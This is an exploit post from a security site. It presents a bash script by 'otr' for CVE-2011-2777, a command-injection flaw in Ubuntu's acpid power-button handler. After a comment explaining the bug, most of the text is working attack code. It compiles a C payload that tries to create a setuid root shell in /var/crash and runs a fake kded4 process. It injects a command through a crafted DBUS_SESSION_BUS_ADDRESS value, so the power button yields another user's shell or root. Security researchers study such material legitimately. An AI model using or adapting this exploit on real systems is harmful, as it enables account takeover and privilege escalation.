首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Acpid 1:2.0.10-1ubuntu2 Privilege Boundary Crossing Vulnerability
来源:vfocus.net 作者:otr 发布时间:2011-12-12  

Exploit Title: Acpid Privilege Boundary Crossing Vulnerability
Google Dork:
Date: 23-11-2011
Author: otr
Software Link: https://launchpad.net/ubuntu/+source/acpid
Version: 1:2.0.10-1ubuntu2
Tested on: Ubuntu 11.10, Ubuntu 11.04
CVE : CVE-2011-2777
--
Safeguard this letter, it may be an IMPORTANT DOCUMENT

#!/bin/bash
#
# otr
#
# The following script is executed when pressing the power button on an Ubuntu
# 11.10 system. Depending on how far we get in the condition in the code
# fragement, it is possible for another user on the local system to gain the
# privileges of the user who has the currently focused display running.  The
# vulnerability only triggers when certain power management programms are not
# running, especially kded4 and the programms in the $PMS variable need not to
# be running in order for this to be exploitable.
#
# This exploit would be more reliable when having a way to dos
# gnome-power-manager Also it would be more fun one could trick the getXuser
# function into setting $XUSER to root. In the case of root being the user on
# the active display this exploit turns into a privilege escalation
#
# Exploitable file /etc/acpi/powerbtn.sh
# In original source code line 40
#
# --
# PMS="gnome-power-manager kpowersave xfce4-power-manager"
# PMS="$PMS guidance-power-manager.py dalston-power-applet"
#
# if pidof x $PMS > /dev/null ||
#        ( test "$XUSER" != "" && \
#  pidof dcopserver > /dev/null && \
#  test -x /usr/bin/dcop && \
#  /usr/bin/dcop --user $XUSER kded kded loadedModules \
#   | grep -q klaptopdaemon) ||
#        ( test "$XUSER" != "" && \
#  test -x /usr/bin/qdbus && \
#  test -r /proc/$(pidof kded4)/environ && \
#  su - $XUSER -c \
#   "eval $(echo -n 'export '; cat /proc/$(pidof kded4)/environ | \
#   tr '\0' '\n' | \
#   grep DBUS_SESSION_BUS_ADDRESS); \
#   qdbus org.kde.kded" | \
#   grep -q powerdevil) ;\
# then
# --
#
# The problem here is that the output of cat /proc/$(pidof kded4)/environ is
# controllable by a local user by exporting the DBUS_SESSION_BUS_ADDRESS
# variable and running a programm called kded4.
# Using this environment variable the attack is able to inject arbitrary shell
# commands into the eval expression which will be executed with the rights
# of $XUSER which is the user with the currently active display.
#
# /usr/share/acpi-support/policy-funcs in the PowerDevilRunning function
# has similar code but it seems that under normal conditions this only
# allows to run code with the privileges one already has.

PAYLOADEXE="/var/crash/payload"
PAYLOADC="/var/crash/payload.c"

KDEDC="kded4.c"
KDEDEXE="kded4"

TRIGGER="/etc/acpi/powerbtn.sh"

rm -f $PAYLOADEXE $KDEDEXE $KDEDC $PAYLOADC

echo "[+] Setting umask to 0 so we have world writable files."
umask 0


echo "[+] Preparing binary payload."
# we _try_ to get a suid root shell, if not we only get a
# shell for another user
cat > $PAYLOADC <<_EOF
#include <sys/stat.h>
void main(int argc, char **argv)
{
 if(!strstr(argv[0],"shell")){
  printf("[+] Preparing suid shell.\n");
  system("cp /var/crash/payload /var/crash/shell");
  setuid(0);
  setgid(0);
  chown ("/var/crash/shell", 0, 0);
  chmod("/var/crash/shell", S_IRWXU | S_IRWXG | S_IRWXO | S_ISUID | S_ISGID);
 }else{
  execl("/bin/sh", "/bin/sh", "-i", 0);
 }
}
_EOF
gcc -w -o $PAYLOADEXE $PAYLOADC

echo "[+] Preparing fake kded4 process."
cat > $KDEDC <<_EOF
#include <unistd.h>
void main (){
 while(42){
  sleep(1);
  if( access( "/var/crash/shell" , F_OK ) != -1 ) {
   execl("/var/crash/shell", "/var/crash/shell", "-i", 0);
   exit(0);
  }
 }
}
_EOF

gcc -w -o $KDEDEXE $KDEDC
rm -f $KDEDC $PAYLOADC

echo "[+] Exporting DBUS_SESSION_BUS_ADDRESS."
export DBUS_SESSION_BUS_ADDRESS="xxx & $PAYLOADEXE"

echo "[+] Starting kded4."
echo "[+] Trying to PMS the system."
echo "[+] Waiting for the power button to be pressed."
echo "[+] You'll get a shell on this console."
./$KDEDEXE

rm $KDEDEXE


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux/MIPS - reboot() - 32 byt
·zFTPServer Suite 6.0.0.52 'rmd
·Linux/MIPS - connect back shel
·HP Easy Printer Care XMLCacheM
·CSF Firewall Buffer Overflow
·Sysax Multi Server 5.50 Create
·Docebo LMS <= v4.0.4 (messages
·HP Diagnostics Server magentse
·Free Opener Local Denial of Se
·MS12-004 midiOutPlayNextPolyEv
·Apache HTTP Server Denial of S
·Tracker Software pdfSaver Acti
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved